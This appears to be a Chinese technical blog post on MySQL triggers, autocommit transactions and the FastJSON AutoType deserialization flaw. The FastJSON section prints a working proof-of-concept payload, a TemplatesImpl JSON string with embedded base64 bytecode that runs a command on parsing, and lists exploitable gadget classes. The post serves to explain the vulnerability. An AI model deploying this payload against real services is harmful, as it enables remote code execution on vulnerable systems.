MySQL触发器、事务以及FastJSON漏洞

sin 2023-07-21 PM 865℃ 0条

MySQL触发器

问: MySQL触发器(Trigger)是怎么使用的?

触发器我想到2个类似的比喻:

1) 一个是信号回调机制, 发生了某个事件,被回调,类似于QT的信号,或者 JS的事件绑定。
2) AOP,在某个操作前加切面,可以在这个操作的 完成之前、之后做一些自定义操作。

Trigger 可以在以下情况下被触发,然后执行一段SQL语句。

  • 插入

    • 之前
    • 之后
  • 更新

    • 之前
    • 之后
  • 删除

    • 之前
    • 之后

准备测试user表和user_count数据表

CREATE TABLE `user` (
  `id` int NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

CREATE TABLE `user_count` (
  `id` int NOT NULL,
  `count` int DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

INSERT INTO `testtrigger`.`user_count` (`id`, `count`) VALUES (1, 0);

创建trigger

delimiter $$
create trigger trigger1 after insert on `user` for each row 
begin
   update user_count set count = (select count(1) from user) where id=1;
end $$
create trigger trigger2 after delete on `user` for each row 
begin
   update user_count set count = (select count(1) from user) where id=1;
end $$
delimiter ;

每次在插入数据和删除数据的时候,重新统计user数量,同时修改user_count表

TIPS:

delimiter是修改分隔符,

delimiter $$ -- 这里已经是$$作为分隔符了
select * from `user` $$

delimiter ; -- 这里修改为;了
select * from `user`;

特别注意一点的是:

虽然触发器发生在after insert的时机,但是如果 触发器执行失败,同时会导致插入失败。猜测应该是在一个事务里。

这个会导致你插入一条数据,数据本身没问题,但是就是无法插入成功,并且报错是完全不相关其他表 其他字段的报错,非常具有迷惑性。

实现效果:

MySQL事务

问: 为什么在MySQL命令行中不需要commit提交事务,但是其他编程语言中需要commit提交?

我们在执行数据命令的时候,直接一条Insert语句就可以插入一条数据。

insert into `user`(name) values('xxxx');

而我们 用PyMySQL的时候,在执行完SQL后,还要db.commit()一下,这两种情况差别在哪里?

import pymysql
db = pymysql.connect(
    host="192.168.121.38", user="root", password="123456", database="testtrigger")
cur = db.cursor()
cur.execute("insert into `user`(name) values('xxxx');")
db.commit()
cur.close()
db.close()

查看正在执行的事务的方式是

SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX;

我们知道 MySQL的InnoDB引擎存在事务。平时我们执行SQL不需要手动commit的原因是,MySQL设置了自动commit。

我们可以通过如下方法关闭自动提交

set @@autocommit=0;

下面是示例。

上面数据要从另一个客户端中查看,发现没有改变,因为还没有提交事务。

但是同一个客户端内已经改变了。这个是因为在同一个事务里。

FastJSON漏洞

问: FastJSON这个库为什么老是出问题?

FastJSON是一个非常常用的库,他可以简单的序列化和反序列化数据。但是他漏洞爆发频率和版本发布频率几乎是一样的。这个归根到底 源自FastJSON一个叫AutoType的特性。

AutoType特性介绍

我们举一个简单的例子。

首先定义一个Fruit接口,然后实现2个类,一个Apple 另一个是Orange类。

// Fruit 定义一个print接口
package com.example.demo;

public interface Fruit {
    void print();
}

// 定义一个Apple类
package com.example.demo;

public class Apple implements Fruit {
    private String brand;
    public Apple() {
    }

    public Apple(String brand) {
        this.brand = brand;
    }

    public String getBrand() {
        return brand;
    }

    public void setBrand(String brand) {
        this.brand = brand;
    }

    public void print() {
        System.out.println("苹果品牌是: " + this.brand);
    }
}

// 定义一个Orange类
package com.example.demo;

public class Orange implements Fruit{
    private String brand;

    public Orange() {}

    public Orange(String brand) {
        this.brand = brand;
    }

    public String getBrand() {
        return brand;
    }

    public void setBrand(String brand) {
        this.brand = brand;
    }

    public void print() {
        System.out.println("橘子品牌是: " + this.brand);
    }
}

某一天 我们的接口需要传递一个Fruit数据,但是问题出现了。

假设我们这么写

Fruit f1 = new Orange("芦柑");
String output = JSON.toJSONString(f1); // {"brand":"芦柑"}

// 传递数据中...

JSON.parseObject(output, Fruit.class);   // 报错

问题就是我们无法知道传过来的数据到底是Apple对象还是Orange对象。

显而易见的方法就是 修改Apple和Orange对象,把他们合并成一个对象,加一个Type区分。 但是为了传递一个数据而去修改一整个业务实在太麻烦了。非常不可取。

所以FastJSON选择了另一个方法,就是把类的限定名也传过去,这样解析的时候不就知道该用哪个类实例化了。

Fruit f1 = new Orange("芦柑");
String output = JSON.toJSONString(f1); // {"@type":"com.example.demo.Orange","brand":"芦柑"}

而这个@type就是AutoType特性

综合代码如下:

// 下面2行任取一行皆可
// Fruit pre = new Orange("芦柑");
Fruit pre = new Orange("红富士");
String output = JSON.toJSONString(pre, SerializerFeature.WriteClassName);

// 传输数据

Fruit fruit = JSON.parseObject(output, Fruit.class);
fruit.print();
序列化的原理

FastJSON通过遍历类中的setter方法来设置属性。伪代码类似于

Fruit fruit = new Apple();
frust.setBrand("红富士");
攻击原理

感谢 Java安全之Fastjson反序列化漏洞分析提供的例子

这种情况下,我们如果恶意构造一个JSON字符串,就能达到攻击的目的。

比如这个字符串

// fastjson 1.2.22-24版本

String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, Feature.SupportNonPublicField);

我们让FastJSON实例化com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个对象,然后设置_bytecodes属性 就能达到在执行反序列化的时候,打开一个计算器的目的,运行结果如下。

这个漏洞其实不容易利用 ,需要代码中Feature.SupportNonPublicField 这个参数,因为需要被构造的_bytecodes是私有属性,一般使用的话不会设置这个参数。

依赖:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.22</version>
</dependency>

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.27.0-GA</version>
</dependency>
海贼王时代

FastJSON 有了这个机制性的漏洞后,黑客就处于 寻找宝藏的海贼王时代。

黑客大量翻遍JAVA代码,试图找到容易受到攻击的类。他们最好是

  • Java自带的
  • 实例化的时候会执行属性里代码,或者传入的参数

最后还真找到了不少

  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.commons.collections4.functors.InvokerTransformer
  • org.apache.commons.collections4.functors.InstantiateTransformer
  • org.apache.commons.collections4.comparators.TransformingComparator

所以,大量的 模板、编译、ASM类的代码被找到利用攻击, 当然,自己写的一些不好的代码也可能被利用,但是这个一般少见。

FastJSON 最后解决办法也只能算一个权宜之计,开发了一个黑名单,就是把可以被利用的类直接给禁用掉。

到写文章的时候,被找到的类已经有这些了。 代码 中是可以被利用的类的hashcode。

后续

其实早在2020年,就有人要求,干脆直接禁用AutoType这个特性。

应这个要求,官方出过很多个noneautotype版本。这也是唯一一个特性名在版本号上面的FastJSON版本。

最后

在出了最后一个noneautotype 版本 1.2.83_noneautotype之后。可能官方也放弃了。彻底重构了代码,取名 FastJSON2重新发布。

在升级的文档里 也为AutoType单开了一条。

最后的最后

我想这次 FastJSON2 应该不包含 AutoType这个特性了吧。 但是很不幸,还是包含。不过庆幸的是,默认关闭,并且还有Safe模式。 文档

标签: none

非特殊说明,本博所有文章均为博主原创。

上一篇 给文章添加数学公式
下一篇 没有了

评论啦~